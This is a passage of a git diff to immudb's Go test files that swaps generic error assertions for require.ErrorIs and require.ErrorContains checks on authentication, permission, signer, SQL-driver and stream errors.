require.Equal(t, ErrNotLoggedIn, err) + require.ErrorIs(t, err, ErrNotLoggedIn) s.userdata.Userdata[auth.SysAdminUsername] = adminUserdata _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: auth.SysAdminUsername, Active: false}) - require.Equal(t, errors.New("changing your own status is not allowed"), err) + require.ErrorContains(t, err, "changing your own status is not allowed") _, err = s.CreateUser(adminCtx, &schema.CreateUserRequest{ User: usernameBytes, @@ -1460,10 +1452,10 @@ func TestServerErrors(t *testing.T) { userCtx = metadata.NewIncomingContext(context.Background(), md) _, err = s.SetActiveUser(userCtx, &schema.SetActiveUserRequest{Username: auth.SysAdminUsername, Active: false}) - require.Equal(t, errors.New("user is not system admin nor admin in any of the databases"), err) + require.ErrorContains(t, err, "user is not system admin nor admin in any of the databases") _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: "nonexistentuser", Active: false}) - require.Equal(t, errors.New("user nonexistentuser not found"), err) + require.ErrorContains(t, err, "user nonexistentuser not found") // ChangePermission errors cpr := &schema.ChangePermissionRequest{ @@ -1473,7 +1465,7 @@ func TestServerErrors(t *testing.T) { Permission: 2, } _, err = s.ChangePermission(adminCtx, cpr) - require.Equal(t, ErrPermissionDenied, err) + require.ErrorIs(t, err, ErrPermissionDenied) _, err = s.Logout(userCtx, &emptypb.Empty{}) require.NoError(t, err) @@ -1481,12 +1473,12 @@ func TestServerErrors(t *testing.T) { cpr.Database = DefaultDBName s.Options.auth = false _, err = s.ChangePermission(userCtx, cpr) - require.Equal(t, ErrNotLoggedIn.Message(), err.Error()) + require.ErrorIs(t, err, ErrNotLoggedIn) s.Options.auth = true delete(s.userdata.Userdata, auth.SysAdminUsername) _, err = s.ChangePermission(userCtx, cpr) - require.Equal(t, ErrNotLoggedIn, err) + require.ErrorIs(t, err, ErrNotLoggedIn) s.userdata.Userdata[auth.SysAdminUsername] = adminUserdata cpr.Username = "" @@ -1564,7 +1556,7 @@ func TestServerErrors(t *testing.T) { // UseDatabase errors s.Options.auth = false _, err = s.UseDatabase(adminCtx, &schema.Database{DatabaseName: DefaultDBName}) - require.Equal(t, errors.New("this command is available only with authentication on"), err) + require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true _, err = s.UseDatabase(userCtx, &schema.Database{DatabaseName: DefaultDBName}) @@ -1608,11 +1600,11 @@ func TestServerErrors(t *testing.T) { // DatabaseList errors s.Options.auth = false _, err = s.DatabaseList(userCtx, new(emptypb.Empty)) - require.Equal(t, errors.New("this command is available only with authentication on"), err) + require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true _, err = s.DatabaseList(context.Background(), new(emptypb.Empty)) - require.Equal(t, errors.New("please login"), err) + require.ErrorContains(t, err, "please login") cpr = &schema.ChangePermissionRequest{ Action: schema.PermissionAction_GRANT, @@ -1636,11 +1628,11 @@ func TestServerErrors(t *testing.T) { // ListUsers errors s.Options.auth = false _, err = s.ListUsers(userCtx, new(emptypb.Empty)) - require.Equal(t, errors.New("this command is available only with authentication on"), err) + require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true _, err = s.ListUsers(context.Background(), new(emptypb.Empty)) - require.Equal(t, ErrNotLoggedIn.Message(), err.Error()) + require.ErrorIs(t, err, ErrNotLoggedIn) // CreateUser errors username2 := "someusername2" @@ -1656,41 +1648,41 @@ func TestServerErrors(t *testing.T) { s.Options.auth = false _, err = s.CreateUser(adminCtx, createUser2Req) - require.Equal(t, errors.New("this command is available only with authentication on"), err) + require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true _, err = s.CreateUser(context.Background(), createUser2Req) - require.Equal(t, ErrNotLoggedIn.Message(), err.Error()) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.CreateUser(adminCtx, createUser2Req) - require.Equal(t, errors.New("username can not be empty"), err) + require.ErrorContains(t, err, "username can not be empty") createUser2Req.User = username2Bytes createUser2Req.Database = "" _, err = s.CreateUser(adminCtx, createUser2Req) - require.Equal(t, errors.New("database name can not be empty when there are multiple databases"), err) + require.ErrorContains(t, err, "database name can not be empty when there are multiple databases") createUser2Req.Database = "nonexistentdb" _, err = s.CreateUser(adminCtx, createUser2Req) - require.Equal(t, errors.New("database nonexistentdb does not exist"), err) + require.ErrorContains(t, err, "database nonexistentdb does not exist") createUser2Req.Database = someDb1 createUser2Req.Permission = auth.PermissionNone _, err = s.CreateUser(adminCtx, createUser2Req) - require.Equal(t, errors.New("unrecognized permission"), err) + require.ErrorContains(t, err, "unrecognized permission") createUser2Req.Permission = auth.PermissionRW _, err = s.CreateUser(userCtx, createUser2Req) - require.Equal(t, errors.New("you do not have permission on this database"), err) + require.ErrorContains(t, err, "you do not have permission on this database") createUser2Req.Permission = auth.PermissionSysAdmin _, err = s.CreateUser(adminCtx, createUser2Req) - require.Equal(t, errors.New("can not create another system admin"), err) + require.ErrorContains(t, err, "can not create another system admin") createUser2Req.Permission = auth.PermissionRW createUser2Req.User = usernameBytes _, err = s.CreateUser(adminCtx, createUser2Req) - require.Equal(t, errors.New("user already exists"), err) + require.ErrorContains(t, err, "user already exists") // CreateDatabase errors someDb2 := "somedatabase2" @@ -1704,10 +1696,10 @@ func TestServerErrors(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) _, err = s.CreateDatabaseWith(context.Background(), createDbReq) - require.Equal(t, errors.New("could not get loggedin user data"), err) + require.ErrorContains(t, err, "could not get loggedin user data") _, err = s.CreateDatabaseWith(userCtx, createDbReq) - require.Equal(t, errors.New("loggedin user does not have permissions for this operation"), err) + require.ErrorContains(t, err, "loggedin user does not have permissions for this operation") createDbReq.DatabaseName = SystemDBName _, err = s.CreateDatabaseWith(adminCtx, createDbReq) @@ -1716,7 +1708,7 @@ func TestServerErrors(t *testing.T) { createDbReq.DatabaseName = "" _, err = s.CreateDatabaseWith(adminCtx, createDbReq) - require.Equal(t, errors.New("database name length outside of limits"), err) + require.ErrorContains(t, err, "database name length outside of limits") createDbReq.DatabaseName = someDb1 _, err = s.CreateDatabaseWith(adminCtx, createDbReq) @@ -1730,30 +1722,29 @@ func TestServerErrors(t *testing.T) { NewPassword: password2Bytes, } _, err = s.ChangePassword(adminCtx, changePassReq) - require.Equal(t, errors.New("this command is available only with authentication on"), err) + require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true _, err = s.ChangePassword(context.Background(), changePassReq) - require.Equal(t, ErrNotLoggedIn.Message(), err.Error()) + require.ErrorIs(t, err, ErrNotLoggedIn) changePassReq.User = []byte(auth.SysAdminUsername) changePassReq.OldPassword = []byte("incorrect") _, err = s.ChangePassword(adminCtx, changePassReq) - require.Error(t, err) - require.Contains(t, err.Error(), "old password is incorrect") + require.ErrorContains(t, err, "old password is incorrect") changePassReq.User = usernameBytes changePassReq.OldPassword = passwordBytes _, err = s.ChangePassword(userCtx, changePassReq) - require.Equal(t, errors.New("user is not system admin nor admin in any of the databases"), err) + require.ErrorContains(t, err, "user is not system admin nor admin in any of the databases") changePassReq.User = nil _, err = s.ChangePassword(adminCtx, changePassReq) - require.Equal(t, errors.New("username can not be empty"), err) + require.ErrorContains(t, err, "username can not be empty") changePassReq.User = []byte("nonexistent") _, err = s.ChangePassword(adminCtx, changePassReq) - require.Equal(t, fmt.Errorf("user %s was not found or it was not created by you", changePassReq.User), err) + require.ErrorContains(t, err, fmt.Sprintf("user %s was not found or it was not created by you", changePassReq.User)) _, err = s.ChangePermission(adminCtx, &schema.ChangePermissionRequest{ Action: schema.PermissionAction_GRANT, @@ -1785,34 +1776,33 @@ func TestServerErrors(t *testing.T) { password2NewBytes := []byte(password2New) changePassReq.NewPassword = password2NewBytes _, err = s.ChangePassword(userCtx, changePassReq) - require.Equal(t, fmt.Errorf("user %s was not found or it was not created by you", changePassReq.User), err) + require.ErrorContains(t, err, fmt.Sprintf("user %s was not found or it was not created by you", changePassReq.User)) // Not logged in errors on DB operations emptyCtx := context.Background() _, err = s.VerifiableZAdd(emptyCtx, &schema.VerifiableZAddRequest{}) - require.Equal(t, ErrNotLoggedIn.Message(), err.Error()) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.SetReference(emptyCtx, &schema.ReferenceRequest{}) - require.Equal(t, ErrNotLoggedIn.Message(), err.Error()) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.UpdateMTLSConfig(emptyCtx, &schema.MTLSConfig{}) - require.Equal(t, ErrNotSupported.Error(), err.Error()) + require.ErrorIs(t, err, ErrNotSupported) _, err = s.UpdateAuthConfig(emptyCtx, &schema.AuthConfig{}) - require.Equal(t, ErrNotSupported.Error(), err.Error()) + require.ErrorIs(t, err, ErrNotSupported) // Login errors s.Options.auth = false _, err = s.Login(emptyCtx, &schema.LoginRequest{}) - require.Equal(t, "server is running with authentication disabled, please enable authentication to login", err.Error()) + require.ErrorContains(t, err, "server is running with authentication disabled, please enable authentication to login") s.Options.auth = true _, err = s.Login(emptyCtx, &schema.LoginRequest{User: []byte("nonexistent")}) - require.Error(t, err) - require.Contains(t, err.Error(), "invalid user name or password") + require.ErrorContains(t, err, "invalid user name or password") _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Active: false, Username: username}) require.NoError(t, err) _, err = s.Login(emptyCtx, &schema.LoginRequest{User: usernameBytes, Password: passwordBytes}) - require.Equal(t, "user is not active", err.Error()) + require.ErrorContains(t, err, "user is not active") _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Active: true, Username: username}) require.NoError(t, err) @@ -1831,7 +1821,7 @@ func TestServerErrors(t *testing.T) { } s.Options.Pidfile = "pidfile" defer os.Remove(s.Options.Pidfile) - require.Equal(t, fmt.Errorf("Pid filename is invalid: %s", s.Options.Pidfile), s.setupPidFile()) + require.ErrorContains(t, s.setupPidFile(), fmt.Sprintf("Pid filename is invalid: %s", s.Options.Pidfile)) OS.BaseF = baseFOK // print usage call-to-action @@ -1875,30 +1865,27 @@ func TestServerGetUserAndUserExists(t *testing.T) { require.NoError(t, err) _, err = s.getValidatedUser(context.Background(), []byte(username), []byte("wrongpass")) - require.Error(t, err) - require.Contains(t, err.Error(), "crypto/bcrypt: hashedPassword is not the hash of the given password") + require.ErrorIs(t, err, bcrypt.ErrMismatchedHashAndPassword) _, err = s.getValidatedUser(context.Background(), []byte(username), nil) - require.Error(t, err) - require.Contains(t, err.Error(), "crypto/bcrypt: hashedPassword is not the hash of the given password") + require.ErrorIs(t, err, bcrypt.ErrMismatchedHashAndPassword) _, err = s.getValidatedUser(context.Background(), []byte(username), []byte{}) - require.Error(t, err) - require.Contains(t, err.Error(), "crypto/bcrypt: hashedPassword is not the hash of the given password") + require.ErrorIs(t, err, bcrypt.ErrMismatchedHashAndPassword) } func TestServerIsValidDBName(t *testing.T) { err := isValidDBName("") - require.Equal(t, errors.New("database name length outside of limits"), err) + require.ErrorContains(t, err, "database name length outside of limits") err = isValidDBName(strings.Repeat("a", 129)) - require.Equal(t, errors.New("database name length outside of limits"), err) + require.ErrorContains(t, err, "database name length outside of limits") err = isValidDBName(" ") - require.Equal(t, errors.New("unrecognized character in database name"), err) + require.ErrorContains(t, err, "unrecognized character in database name") err = isValidDBName("-") - require.Equal(t, errors.New("punctuation marks and symbols are not allowed in database name"), err) + require.ErrorContains(t, err, "punctuation marks and symbols are not allowed in database name") err = isValidDBName(strings.Repeat("a", 32)) require.NoError(t, err) diff --git a/pkg/server/sql_test.go b/pkg/server/sql_test.go index ab1a7c5994..54db525dfa 100644 --- a/pkg/server/sql_test.go +++ b/pkg/server/sql_test.go @@ -23,6 +23,7 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" + "github.com/codenotary/immudb/pkg/database" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" "google.golang.org/protobuf/types/known/emptypb" @@ -44,22 +45,22 @@ func TestSQLInteraction(t *testing.T) { ctx := context.Background() _, err := s.ListTables(ctx, &emptypb.Empty{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.SQLExec(ctx, nil) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.SQLQuery(ctx, nil) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.DescribeTable(ctx, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) _, err = s.DescribeTable(ctx, &schema.Table{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.VerifiableSQLGet(ctx, nil) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), @@ -106,7 +107,7 @@ func TestSQLInteraction(t *testing.T) { SqlGetRequest: &schema.SQLGetRequest{Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}}, ProveSinceTx: 100, }) - require.Error(t, err) + require.ErrorIs(t, err, database.ErrIllegalState) } func TestSQLExecResult(t *testing.T) { @@ -172,8 +173,7 @@ func TestSQLExecCreateDatabase(t *testing.T) { require.NoError(t, err) _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE DATABASE db1;"}) - require.Error(t, err) - require.Equal(t, sql.ErrDatabaseAlreadyExists.Error(), err.Error()) + require.ErrorContains(t, err, sql.ErrDatabaseAlreadyExists.Error()) _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE DATABASE IF NOT EXISTS db1;"}) require.NoError(t, err) @@ -182,6 +182,5 @@ func TestSQLExecCreateDatabase(t *testing.T) { require.NoError(t, err) _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE DATABASE db2;"}) - require.Error(t, err) - require.Equal(t, sql.ErrDatabaseAlreadyExists.Error(), err.Error()) + require.ErrorContains(t, err, sql.ErrDatabaseAlreadyExists.Error()) } diff --git a/pkg/server/state_signer_test.go b/pkg/server/state_signer_test.go index ab2b0c1d46..a14a7504c4 100644 --- a/pkg/server/state_signer_test.go +++ b/pkg/server/state_signer_test.go @@ -44,5 +44,5 @@ func TestStateSigner_Err(t *testing.T) { s, _ := signer.NewSigner("./../../test/signer/ec3.key") stSigner := NewStateSigner(s) err := stSigner.Sign(nil) - require.Error(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) } diff --git a/pkg/server/stream_replication_test.go b/pkg/server/stream_replication_test.go index 586a2885b8..83b3bcba45 100644 --- a/pkg/server/stream_replication_test.go +++ b/pkg/server/stream_replication_test.go @@ -41,10 +41,10 @@ func TestExportTxEdgeCases(t *testing.T) { s.Initialize() err := s.ExportTx(nil, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) err = s.ExportTx(&schema.ExportTxRequest{Tx: 1}, &immuServiceExportTxServer{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) ctx := context.Background() @@ -58,10 +58,10 @@ func TestExportTxEdgeCases(t *testing.T) { ctx = metadata.NewIncomingContext(context.Background(), md) err = s.ExportTx(&schema.ExportTxRequest{Tx: 0}, &immuServiceExportTxServer{}) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) err = s.ExportTx(&schema.ExportTxRequest{Tx: 1}, &immuServiceExportTxServer{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } func TestReplicateTxEdgeCases(t *testing.T) { @@ -77,10 +77,10 @@ func TestReplicateTxEdgeCases(t *testing.T) { s.Initialize() err := s.ReplicateTx(nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) err = s.ReplicateTx(&immuServiceReplicateTxServer{ctx: context.Background()}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) ctx := context.Background() @@ -96,7 +96,7 @@ func TestReplicateTxEdgeCases(t *testing.T) { stream := &immuServiceReplicateTxServer{ctx: ctx} err = s.ReplicateTx(stream) - require.Error(t, err) + require.ErrorContains(t, err, "error") } type immuServiceExportTxServer struct { diff --git a/pkg/server/stream_test.go b/pkg/server/stream_test.go index a6f8dba005..1f03521151 100644 --- a/pkg/server/stream_test.go +++ b/pkg/server/stream_test.go @@ -33,21 +33,21 @@ func TestImmuServer_StreamGetDbError(t *testing.T) { s.WithOptions(DefaultOptions().WithDir(dir)) err := s.StreamSet(&StreamServerMock{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamGet(nil, &StreamServerMock{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamScan(nil, &StreamServerMock{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamHistory(nil, &StreamServerMock{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamVerifiableGet(nil, &StreamVerifiableServerMock{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamVerifiableSet(&StreamVerifiableServerMock{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamZScan(nil, &StreamServerMock{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamExecAll(&StreamServerMock{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } type StreamServerMock struct { diff --git a/pkg/server/user_test.go b/pkg/server/user_test.go index 4cbbab12b2..023fa7b908 100644 --- a/pkg/server/user_test.go +++ b/pkg/server/user_test.go @@ -99,7 +99,7 @@ func TestServerLoginLogoutWithAuthDisabled(t *testing.T) { _, err := s.Logout(context.Background(), &emptypb.Empty{}) require.NotNil(t, err) - require.Equal(t, ErrAuthDisabled, err.Error()) + require.ErrorContains(t, err, ErrAuthDisabled) } func TestServerListUsersAdmin(t *testing.T) { diff --git a/pkg/signer/ecdsa_test.go b/pkg/signer/ecdsa_test.go index 9d9eb2dabc..1dab1e53f3 100644 --- a/pkg/signer/ecdsa_test.go +++ b/pkg/signer/ecdsa_test.go @@ -21,9 +21,11 @@ import ( "crypto/x509" "encoding/asn1" "encoding/pem" + "io" "io/ioutil" "math/big" "strings" + "syscall" "testing" "github.com/stretchr/testify/require" @@ -50,19 +52,19 @@ func TestNewSignerFromPKey(t *testing.T) { func TestNewSignerKeyNotExistent(t *testing.T) { s, err := NewSigner("./not_exists") - require.Error(t, err) + require.ErrorIs(t, err, syscall.ENOENT) require.Nil(t, s) } func TestNewSignerNoKeyFound(t *testing.T) { s, err := NewSigner("./../../test/signer/unparsable.key") - require.Error(t, err) + require.ErrorContains(t, err, "no ecdsa key found in provided signing key file") require.Nil(t, s) } func TestNewSignerKeyUnparsable(t *testing.T) { s, err := NewSigner("./../../test/signer/ec3.pub") - require.Error(t, err) + require.ErrorContains(t, err, "x509: failed to parse EC private key") require.Nil(t, s) } @@ -82,7 +84,7 @@ func TestSignature_SignError(t *testing.T) { r := strings.NewReader("") s := NewSignerFromPKey(r, pk) _, _, err := s.Sign([]byte(``)) - require.Error(t, err) + require.ErrorIs(t, err, io.EOF) } func TestSignature_Verify(t *testing.T) { diff --git a/pkg/stdlib/connection_test.go b/pkg/stdlib/connection_test.go index 5ef9f77a62..0b5348b849 100644 --- a/pkg/stdlib/connection_test.go +++ b/pkg/stdlib/connection_test.go @@ -23,6 +23,7 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" @@ -65,25 +66,25 @@ func TestConnErr(t *testing.T) { } _, err := c.Prepare("") - require.Error(t, err) + require.ErrorIs(t, err, ErrNotImplemented) _, err = c.PrepareContext(context.Background(), "") - require.Error(t, err) + require.ErrorIs(t, err, ErrNotImplemented) _, err = c.Begin() - require.Error(t, err) + require.ErrorIs(t, err, driver.ErrBadConn) _, err = c.BeginTx(context.Background(), driver.TxOptions{}) - require.Error(t, err) + require.ErrorIs(t, err, driver.ErrBadConn) _, err = c.ExecContext(context.Background(), "", nil) - require.Error(t, err) + require.ErrorIs(t, err, driver.ErrBadConn) _, err = c.QueryContext(context.Background(), "", nil) - require.Error(t, err) + require.ErrorIs(t, err, driver.ErrBadConn) err = c.ResetSession(context.Background()) - require.Error(t, err) + require.ErrorIs(t, err, driver.ErrBadConn) ris := c.CheckNamedValue(nil) require.Nil(t, ris) @@ -108,13 +109,13 @@ func TestConn_QueryContextErr(t *testing.T) { defer db.Close() _, err := db.QueryContext(context.Background(), "query", 10.5) - require.Error(t, err) + require.ErrorIs(t, err, sql.ErrInvalidValue) _, err = db.ExecContext(context.Background(), "INSERT INTO myTable(id, name) VALUES (2, 'immu2')") - require.Error(t, err) + require.ErrorContains(t, err, "table does not exist (mytable)") _, err = db.QueryContext(context.Background(), "SELECT * FROM myTable") - require.Error(t, err) + require.ErrorContains(t, err, "table does not exist (mytable)") } func TestConn_QueryContext(t *testing.T) { diff --git a/pkg/stdlib/connector_test.go b/pkg/stdlib/connector_test.go index beb94cb178..4b836e90e8 100644 --- a/pkg/stdlib/connector_test.go +++ b/pkg/stdlib/connector_test.go @@ -37,7 +37,7 @@ func TestDriverConnector_Connect(t *testing.T) { func TestDriverConnector_ConnectParseError(t *testing.T) { conn, err := immuDriver.Open("not parsable string") - require.Error(t, err) + require.ErrorIs(t, err, ErrBadQueryString) require.Nil(t, conn) } diff --git a/pkg/stdlib/rows_test.go b/pkg/stdlib/rows_test.go index 5011b0f67e..ac5f2f55d7 100644 --- a/pkg/stdlib/rows_test.go +++ b/pkg/stdlib/rows_test.go @@ -396,7 +396,7 @@ func TestRowsAffected_LastInsertIdErr(t *testing.T) { er: &schema.SQLExecResult{}, } _, err := ra.LastInsertId() - require.Error(t, err) + require.ErrorContains(t, err, "unable to retrieve LastInsertId") } func TestRowsAffected_RowsAffected(t *testing.T) { diff --git a/pkg/stdlib/tx_test.go b/pkg/stdlib/tx_test.go index 95b73e6782..064d29ccf1 100644 --- a/pkg/stdlib/tx_test.go +++ b/pkg/stdlib/tx_test.go @@ -24,6 +24,7 @@ import ( "google.golang.org/grpc/status" + "github.com/codenotary/immudb/pkg/server/sessions" "github.com/stretchr/testify/require" ) @@ -46,7 +47,7 @@ func TestConn_BeginTx(t *testing.T) { binaryContent := []byte("my blob content1") blobContent := hex.EncodeToString(binaryContent) _, err = db.Exec(fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (1, 1000, 6000, 'title 1', x'%s', true)", table, blobContent)) - require.Error(t, err) + require.ErrorContains(t, err, fmt.Sprintf("table does not exist (%s)", table)) st, _ := status.FromError(err) require.Equal(t, fmt.Sprintf("table does not exist (%s)", table), st.Message()) @@ -104,8 +105,8 @@ func TestTx_Errors(t *testing.T) { require.NoError(t, err) _, err = tx.ExecContext(context.Background(), "this is really wrong") - require.Error(t, err) + require.ErrorContains(t, err, "syntax error: unexpected IDENTIFIER at position 4") _, err = tx.QueryContext(context.Background(), "this is also very wrong") - require.Error(t, err) + require.ErrorIs(t, err, sessions.ErrTransactionNotFound) } diff --git a/pkg/stdlib/uri_test.go b/pkg/stdlib/uri_test.go index 8e43515c56..4d7343874f 100644 --- a/pkg/stdlib/uri_test.go +++ b/pkg/stdlib/uri_test.go @@ -110,15 +110,15 @@ func TestParseConfig_Require(t *testing.T) { func TestParseConfigErrs(t *testing.T) { connString := "immudb://immudb:immudb@127.0.0.1:aaa/defaultdb" _, err := ParseConfig(connString) - require.Error(t, err) + require.ErrorIs(t, err, ErrBadQueryString) connString = "AAAA://immudb:immudb@127.0.0.1:123/defaultdb" _, err = ParseConfig(connString) - require.Error(t, err) + require.ErrorIs(t, err, ErrBadQueryString) connString = "AAAA://immudb:immudb@127.0.0.1:123/defaultdb?sslmode=invalid" _, err = ParseConfig(connString) - require.Error(t, err) + require.ErrorIs(t, err, ErrBadQueryString) } func TestDriver_OpenSSLPrefer(t *testing.T) { diff --git a/pkg/stream/execall_receiver_test.go b/pkg/stream/execall_receiver_test.go index 6d680deab2..b5d2c07cd8 100644 --- a/pkg/stream/execall_receiver_test.go +++ b/pkg/stream/execall_receiver_test.go @@ -28,6 +28,8 @@ import ( "github.com/stretchr/testify/require" ) +var errCustom = errors.New("custom one") + func TestNewExecAllStreamReceiver(t *testing.T) { r := bytes.NewBuffer([]byte{}) esr := NewExecAllStreamReceiver(r, 4096) @@ -78,7 +80,7 @@ func TestExecAllStreamReceiver_NextZAddUnmarshalError(t *testing.T) { require.NoError(t, err) require.NotNil(t, op) op, err = esr.Next() - require.Equal(t, ErrUnableToReassembleExecAllMessage, err.Error()) + require.ErrorContains(t, err, ErrUnableToReassembleExecAllMessage) require.Nil(t, op) } @@ -90,29 +92,29 @@ func TestExecAllStreamReceiver_NextRefError(t *testing.T) { r := streamtest.DefaultMsgReceiverMock(me) esr := NewExecAllStreamReceiver(r, 4096) op, err := esr.Next() - require.Equal(t, ErrRefOptNotImplemented, err.Error()) + require.ErrorContains(t, err, ErrRefOptNotImplemented) require.Nil(t, op) } func TestExecAllStreamReceiver_NextKvStreamerError(t *testing.T) { me := []*streamtest.MsgError{ - {M: []byte{TOp_Kv}, E: errors.New("custom one")}, + {M: []byte{TOp_Kv}, E: errCustom}, } r := streamtest.DefaultMsgReceiverMock(me) esr := NewExecAllStreamReceiver(r, 4096) op, err := esr.Next() - require.Error(t, err, err) + require.ErrorIs(t, err, errCustom) require.Nil(t, op) } func TestExecAllStreamReceiver_NextKvStreamerNextError(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte{TOp_Kv}, E: io.EOF}, - {M: []byte{4}, E: errors.New("custom one")}, + {M: []byte{4}, E: errCustom}, } r := streamtest.DefaultMsgReceiverMock(me) esr := NewExecAllStreamReceiver(r, 4096) op, err := esr.Next() - require.Error(t, err, err) + require.ErrorIs(t, err, errCustom) require.Nil(t, op) } diff --git a/pkg/stream/execall_sender_test.go b/pkg/stream/execall_sender_test.go index 12c1883ff1..c2b5e3eb15 100644 --- a/pkg/stream/execall_sender_test.go +++ b/pkg/stream/execall_sender_test.go @@ -24,6 +24,7 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream/streamtest" + "github.com/gogo/protobuf/proto" "github.com/stretchr/testify/require" ) @@ -76,7 +77,7 @@ func TestExecAllStreamSender_SendZAddError(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { - return errors.New("custom one") + return errCustom } eas := NewExecAllStreamSender(s) @@ -96,7 +97,7 @@ func TestExecAllStreamSender_SendZAddError(t *testing.T) { }, } err := eas.Send(aOps) - require.Error(t, err) + require.ErrorIs(t, err, errCustom) } func TestExecAllStreamSender_SendZAddError2(t *testing.T) { @@ -115,7 +116,7 @@ func TestExecAllStreamSender_SendZAddError2(t *testing.T) { }, } err := eas.Send(aOps) - require.Error(t, err) + require.ErrorContains(t, err, proto.ErrNil.Error()) } func TestExecAllStreamSender_SendZAddError3(t *testing.T) { @@ -124,7 +125,7 @@ func TestExecAllStreamSender_SendZAddError3(t *testing.T) { sec := false s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { if sec { - return errors.New("custom one") + return errCustom } sec = true return nil @@ -148,14 +149,14 @@ func TestExecAllStreamSender_SendZAddError3(t *testing.T) { }, } err := eas.Send(aOps) - require.Error(t, err) + require.ErrorIs(t, err, errCustom) } func TestExecAllStreamSender_SendKVError(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { - return errors.New("custom one") + return errCustom } eas := NewExecAllStreamSender(s) @@ -178,7 +179,7 @@ func TestExecAllStreamSender_SendKVError(t *testing.T) { }, } err := eas.Send(aOps) - require.Error(t, err) + require.ErrorIs(t, err, errCustom) } func TestExecAllStreamSender_SendRefError(t *testing.T) { @@ -197,5 +198,5 @@ func TestExecAllStreamSender_SendRefError(t *testing.T) { }, } err := eas.Send(aOps) - require.Equal(t, ErrRefOptNotImplemented, err.Error()) + require.ErrorContains(t, err, ErrRefOptNotImplemented) } diff --git a/pkg/stream/kvparser_test.go b/pkg/stream/kvparser_test.go index 685a507266..144a76a793 100644 --- a/pkg/stream/kvparser_test.go +++ b/pkg/stream/kvparser_test.go @@ -18,7 +18,6 @@ package stream import ( "bytes" - "errors" "io" "testing" @@ -35,10 +34,10 @@ func TestParseKV(t *testing.T) { func TestParseErr(t *testing.T) { b := &streamtest.ErrReader{ReadF: func(i []byte) (int, error) { - return 0, errors.New("custom one") + return 0, errCustom }} entry, err := ReadValue(b, 4096) - require.Error(t, err) + require.ErrorIs(t, err, errCustom) require.Nil(t, entry) } @@ -47,13 +46,13 @@ func TestParseEof(t *testing.T) { return 0, io.EOF }} entry, err := ReadValue(b, 4096) - require.Equal(t, io.EOF, err) + require.ErrorIs(t, err, io.EOF) require.Nil(t, entry) } func TestParseEmptyContent(t *testing.T) { content := []byte{} value, err := ReadValue(bytes.NewBuffer(content), 4096) - require.Equal(t, io.EOF, err) + require.ErrorIs(t, err, io.EOF) require.Nil(t, value) } diff --git a/pkg/stream/kvsender_test.go b/pkg/stream/kvsender_test.go index ce09954fe0..956e76343e 100644 --- a/pkg/stream/kvsender_test.go +++ b/pkg/stream/kvsender_test.go @@ -17,7 +17,6 @@ limitations under the License. package stream import ( - "errors" "io" "testing" @@ -83,7 +82,7 @@ func 